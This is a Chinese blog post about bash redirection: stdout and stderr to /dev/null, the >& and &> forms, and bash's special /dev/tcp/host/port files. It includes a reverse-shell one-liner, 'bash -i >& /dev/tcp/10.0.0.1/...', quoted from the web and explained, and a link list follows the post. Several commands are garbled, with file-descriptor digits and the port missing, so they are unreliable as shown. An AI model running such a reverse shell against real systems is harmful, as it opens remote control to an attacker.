linux bash的重定向
cnblogs原创
下面几种bash重定向各表示什么意思?
find / -name passwd > /dev/null
find / -name passwd > /dev/null >&
find / -name passwd > /dev/null
find / -name passwd &> /dev/null
find / -name passwd >& /dev/null
上面有5种重定向,分别表示:
1. 将find结果重定向到 /dev/null,这个find结果指的是标准输出,不含标准错误,比如以非root用户身份运行这个命令时,可能会遇到这样问题,如下:

其中有的是查找到了,有的报错,对应正常查找到的是标准输出,而报错则是标准错误。标准输出与标准错误都是向屏幕输出,区别是有无缓冲,标准错误是不带缓冲的。
这个最终结果是仅输出find错误结果。
2. 将find结果(标准输出)重定向到 /dev/null,同时将标准错误重定向到标准输出。在Linux中,内核默认为每个进程打开3个描述符(标准错误2、标准输出1、标准输入0)。
这个最终结果是什么都不输出。
3. 将find结果(标准错误)重定向到 /dev/null,不含标准输出。
这个最终结果是只输出正常结果,不输出错误结果。
4/5. 这两个是相同的,只是不同写法,>&和&>完全相同,它们对位置先后无要求。将find结果(标准输出)重定向到 /dev/null,同时将标准错误重定向到标准输出。>&或者&>等同于> /dev/null 2>&1。为什么会有这种写法?大概原因是bash对csh进行兼容导致的,因为csh的标准输出和标准错误重定向是这种写法。
其实这些在bash manual手册中都是有说明的:

另外,网上有给出一个反弹shell,如下:
bash -i >& /dev/tcp/10.0.0.1/ >&
重定向语法上面已经解释清楚,这里无非是多了个标准输入的重定向。
使用ls命令发现/dev下面并没有这个tcp目录或者文件,这里的/dev/tcp/10.0.0.1/8000又是什么?同样在bash的manual中有说明,如下:

从手册中可以看到/dev/tcp/10.0.0.1/8000是bash重定向时,一些特殊的文件而已,ls自然看不到的。
PS: 准备在闲暇之余用C++写个反弹shell练手的,遂有了这篇文章。但写完这篇文章之后,发现网上已经有人写过类似的( https://www.anquanke.com/post/id/85712 ),不过没有解释/dev/tcp/host/port是怎么回事,文章就不删了,留作补充说明吧。
linux bash的重定向的更多相关文章
- Linux Bash命令关于程序调试详解
转载:http://os.51cto.com/art/201006/207230.htm 参考:<Linux shell 脚本攻略>Page22-23 Linux bash程序在程序员的使 ...
- Linux I/O 重定向详解及应用实例
Linux I/O 重定向详解及应用实例 简解 > 输出 < 输入 >> 追加 & [> | < | >>]之前:输入输出; ls /dev & ...
- Linux Bash脚本编程语言中的美学与哲学
我承认,我再一次地当了标题党.但是不可否认,这一定是一篇精华随笔.在这一篇中,我将探讨Bash脚本语言中的美学与哲学. 这不是一篇Bash脚本编程的教程,但是却能让人更加深入地了解Bash脚本编程,更 ...
- (转)linux exec与重定向
原文:http://xstarcd.github.io/wiki/shell/exec_redirect.html linux exec与重定向 exec和source都属于bash内部命令(buil ...
- [转帖]linux bash环境变量简单总结
linux bash环境变量简单总结 来源链接:http://www.178linux.com/8005 原创文章,如有转载,请注明原文地址 需要简单学习一下. 其实 我都是直接放一个 .sh文件到 ...
- Linux Bash命令杂记(cut sort uniq wc tee)
Linux Bash命令杂记(cut sort uniq wc tee) 数据流重定向 标准输入(stdin):代码为0,使用<或<<: 标准输出(stdout):代码为1,使用&g ...
- 转: windows 10使用原生linux bash命令行
转: https://www.zybuluo.com/pandait/note/337430 windows 10使用原生linux bash命令行 linux bash windows-10 第一时 ...
- Linux Bash代码 利用for循环实现命令的多次执行
Linux Bash代码 [yuanhao15@lu01 libsvm-rank-2.81]$ for ((i=0; i<=19; i++)) do ./svm-train -s 5 -c 10 ...
- linux BASH shell设置字体与背景颜色
linux BASH shell下设置字体及背景颜色的方法. BASH shell下设置字体及背景颜色 echo -e "\e[31mtest\e[41m" \e[30m 将字 ...
随机推荐
- python系列-1 字符串操作
1.去除空格 str.strip():删除字符串两边的指定字符,括号的写入指定字符,默认为空格 >>> a=' hello ' >>> b=a.strip() ...
- Tunnel Warfare HDU - 1540(线段树最长连续区间)
题意: 一条线上的点,D x是破坏这个点,Q x是表示查询以x所在的最长的连续的点的个数,R是恢复上一次破坏的点. 解析: 线段树结点 设置一个 lq记录区间左端点开始的最大连续个数, rq ...
- shell(1)-磁盘shell
查看硬盘的大小脚本[root@localhost ~]# vi repboot.sh#!/bin/bash# To show usage of /boot directory and mode of ...
- Service 启动Activity
1, 在BroadcastReceiver中启动Activity的问题 * * 如果在BroadcastReceiver的onReceive()方法中如下启动一个Activity * Inten ...
- A1019. General Palindromic Number
A number that will be the same when it is written forwards or backwards is known as a Palindromic Nu ...
- 【codevs4919】线段树练习4
题目大意:维护一个长度为 N 的序列,支持两种操作:区间加,区间查询有多少数是 7 的倍数. 题解:在每个线段树中维护一个权值数组 [0,6],由于个数显然支持区间可加性,因此可用线段树来维护. 代码 ...
- (转)IBM mq基本使用
一.下载7.5 Trial版本 http://www.ibm.com/developerworks/downloads/ws/wmq/ 这是下载网址,下载前先必须注册IBM ID,下载完成后一路Nex ...
- codeblocks下的汇编语言
Debug->Debugging windows->Disassembly F4+F7 每条语句的调试,查看变量 可以通过两者的比较来互相学习 1.通过查看汇编代码学习c如何改进,减少代码 ...
- 功能要求:定义一个两行三列的二维数组 names 并赋值,使用二重循环输出二维数组中的元素。
功能要求:定义一个两行三列的二维数组 names 并赋值,使用二重循环输出二维数组中的元素 names={{"tom","jack","mike&qu ...
- 目前最全的IT技术问答、社区、科技服务网站合集
资源网站 推荐一个资源丰富齐全的网站:风云社区(SCOEE),主要特点是提供的是纯净.优质.无广告.无附加东西的资源.资源很丰富,包括各类软件资源(mac.Windows.ios.ipad.安装等软件 ...